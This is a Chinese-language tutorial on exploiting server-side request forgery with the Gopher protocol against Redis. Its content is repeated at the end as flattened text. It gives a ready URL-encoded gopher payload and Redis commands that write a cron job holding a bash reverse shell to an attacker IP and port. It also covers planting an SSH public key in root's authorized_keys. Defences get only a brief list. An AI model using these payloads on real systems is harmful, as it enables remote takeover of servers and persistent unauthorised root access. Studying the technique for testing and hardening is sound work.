服务端请求伪造(SSRF)之Redis篇
字数 1190 2025-08-15 21:31:23

SSRF攻击Redis服务利用指南

1. SSRF与Gopher协议基础

1.1 SSRF简介

服务端请求伪造(SSRF)是指当服务器需要请求资源时,请求的资源、协议、路径等可被用户控制,从而造成的安全漏洞。

1.2 Gopher协议

Gopher协议格式:

gopher://<host>:<port>//<gopher-path>_后接TCP数据流

特点:

  • 可用于发送任意TCP数据流
  • 是SSRF攻击Redis的理想协议
  • 使用curl命令进行测试:curl -v 'gopher://127.0.0.1:6379/_payload'

2. Redis环境搭建

2.1 安装Redis

wget http://download.redis.io/releases/redis-4.0.6.tar.gz
yum install gcc
tar -xzvf redis-4.0.6.tar.gz
cd redis-4.0.6
make MALLOC=libc
cd src
make install

2.2 Redis关键文件

  • redis-server - 服务端程序
  • redis-cli - 客户端程序
  • redis.conf - 配置文件

2.3 启动Redis

./redis-server ../redis.conf

3. 攻击无密码Redis

3.1 抓取Redis通信流量

tcpdump -i lo -s 0 port 6379 -w redis.pcap

3.2 分析Redis协议

  1. 使用Wireshark打开抓包文件
  2. 追踪TCP流
  3. 选择"Hex转储"查看十六进制格式
  4. 提取关键payload部分

3.3 构造Gopher攻击

示例SET命令攻击:

curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a'

4. 攻击有密码Redis

4.1 配置Redis密码

修改redis.conf:

requirepass yourpassword

4.2 构造认证payload

在原有payload前添加AUTH命令:

AUTH yourpassword\r\n
[原有命令]

5. 通过Redis GetShell

5.1 通过定时任务反弹Shell

5.1.1 Linux定时任务基础

  • 配置文件:/etc/crontab
  • 用户任务目录:/var/spool/cron/
  • 格式:* * * * * user command

5.1.2 反弹Shell命令

/bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1

5.1.3 Redis写入定时任务

config set dir /var/spool/cron
config set dbfilename root
set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n"
save

注意事项:

  • Redis需要以root权限运行
  • 定时任务文件不需要写用户名
  • 确保换行符正确

5.2 通过SSH免密登录GetShell

5.2.1 配置SSH免密登录

  1. 修改SSH配置:
    StrictModes no
    
  2. 重启sshd服务

5.2.2 生成SSH密钥

ssh-keygen -t rsa

5.2.3 Redis写入authorized_keys

config set dir /root/.ssh
config set dbfilename authorized_keys
set test2 "\n\n\nssh-rsa [公钥内容]\n\n\n"
save

条件:

  • Redis以root权限运行
  • 或者有对应SSH用户的写权限

6. 防御措施

  1. 限制Redis绑定IP
  2. 设置强密码
  3. 不以root运行Redis
  4. 禁用危险命令(FLUSHALL, CONFIG等)
  5. 网络层隔离Redis服务
  6. 过滤SSRF漏洞点中的gopher协议

7. 总结

通过SSRF利用Gopher协议攻击Redis的主要步骤:

  1. 识别存在SSRF漏洞的点
  2. 确定Redis服务位置
  3. 构造Redis协议格式的payload
  4. 通过Gopher协议发送payload
  5. 实现文件写入或命令执行

两种主要GetShell方式:

  1. 写入定时任务实现反弹Shell
  2. 写入SSH公钥实现免密登录

关键点:

  • Redis协议格式转换
  • 文件写入路径选择
  • 权限要求(root权限效果最佳)
  • 协议构造的准确性
SSRF攻击Redis服务利用指南 1. SSRF与Gopher协议基础 1.1 SSRF简介 服务端请求伪造(SSRF)是指当服务器需要请求资源时,请求的资源、协议、路径等可被用户控制,从而造成的安全漏洞。 1.2 Gopher协议 Gopher协议格式: 特点: 可用于发送任意TCP数据流 是SSRF攻击Redis的理想协议 使用curl命令进行测试: curl -v 'gopher://127.0.0.1:6379/_payload' 2. Redis环境搭建 2.1 安装Redis 2.2 Redis关键文件 redis-server - 服务端程序 redis-cli - 客户端程序 redis.conf - 配置文件 2.3 启动Redis 3. 攻击无密码Redis 3.1 抓取Redis通信流量 3.2 分析Redis协议 使用Wireshark打开抓包文件 追踪TCP流 选择"Hex转储"查看十六进制格式 提取关键payload部分 3.3 构造Gopher攻击 示例SET命令攻击: 4. 攻击有密码Redis 4.1 配置Redis密码 修改redis.conf: 4.2 构造认证payload 在原有payload前添加AUTH命令: 5. 通过Redis GetShell 5.1 通过定时任务反弹Shell 5.1.1 Linux定时任务基础 配置文件: /etc/crontab 用户任务目录: /var/spool/cron/ 格式: * * * * * user command 5.1.2 反弹Shell命令 5.1.3 Redis写入定时任务 注意事项: Redis需要以root权限运行 定时任务文件不需要写用户名 确保换行符正确 5.2 通过SSH免密登录GetShell 5.2.1 配置SSH免密登录 修改SSH配置: 重启sshd服务 5.2.2 生成SSH密钥 5.2.3 Redis写入authorized_ keys 条件: Redis以root权限运行 或者有对应SSH用户的写权限 6. 防御措施 限制Redis绑定IP 设置强密码 不以root运行Redis 禁用危险命令(FLUSHALL, CONFIG等) 网络层隔离Redis服务 过滤SSRF漏洞点中的gopher协议 7. 总结 通过SSRF利用Gopher协议攻击Redis的主要步骤: 识别存在SSRF漏洞的点 确定Redis服务位置 构造Redis协议格式的payload 通过Gopher协议发送payload 实现文件写入或命令执行 两种主要GetShell方式: 写入定时任务实现反弹Shell 写入SSH公钥实现免密登录 关键点: Redis协议格式转换 文件写入路径选择 权限要求(root权限效果最佳) 协议构造的准确性